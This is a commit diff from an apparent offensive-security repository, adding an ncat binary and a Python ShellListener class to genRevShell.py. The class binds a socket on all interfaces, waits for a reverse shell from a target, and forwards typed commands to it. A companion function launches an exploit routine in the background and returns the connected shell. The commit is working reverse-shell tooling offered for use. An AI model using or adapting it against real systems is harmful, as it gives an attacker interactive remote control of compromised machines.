Browse Source

Added ncat + background shell listener

Roman Hergenreder 2 years ago
parent
commit
3ea1cba7ca
2 changed files with 66 additions and 0 deletions
  1. 66 0
      genRevShell.py
  2. BIN
      ncat

+ 66 - 0
genRevShell.py

@@ -9,6 +9,65 @@ import threading
 import readline
 import base64
 
+class ShellListener:
+
+    def __init__(self, addr, port):
+        self.listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.bind_addr = addr
+        self.port = port
+        self.on_message = None
+        self.listen_thread = None
+        self.connection = None
+
+    def startBackground(self):
+        self.listen_thread = threading.Thread(target=self.start)
+        self.listen_thread.start()
+        return self.listen_thread
+
+    def start(self):
+        self.running = True
+        self.listen_socket.bind((self.bind_addr, self.port))
+        self.listen_socket.listen()
+        while self.running:
+            self.connection, addr = self.listen_socket.accept()
+            with self.connection:
+                print("[+] Got connection:", addr)
+                while self.running:
+                    data = self.connection.recv(1024)
+                    if not data:
+                        break
+                    if self.on_message:
+                        self.on_message(data)
+                        
+            print("[-] Disconnected")
+            self.connection = None
+
+    def close(self):
+        self.running = False
+        self.sendline("exit")
+        self.listen_socket.close()
+
+    def send(self, data):
+        if self.connection:
+            if isinstance(data, str):
+                data = data.encode()
+            self.connection.sendall(data)
+
+    def sendline(self, data):
+        if isinstance(data, str):
+            data = data.encode()
+        data += b"\n"
+        return self.send(data)
+
+    def print_message(self, data):
+        sys.stdout.write(data.decode())
+        sys.stdout.flush()
+
+    def interactive(self):
+        self.on_message = lambda x: self.print_message(x)
+        while self.running and self.connection is not None:
+            self.sendline(input())
+
 def generatePayload(type, local_address, port):
 
     if type == "bash":
@@ -47,6 +106,13 @@ def triggerShell(func, port):
     threading.Thread(target=_wait_and_exec).start()
     spawn_listener(port)
 
+def triggerShellBackground(func, port):   
+    listener = ShellListener("0.0.0.0", port)
+    listener.startBackground()
+    threading.Thread(target=func).start()
+    while listener.connection is None:
+        time.sleep(0.5)
+    return listener
 
 if __name__ == "__main__":
 

BIN
ncat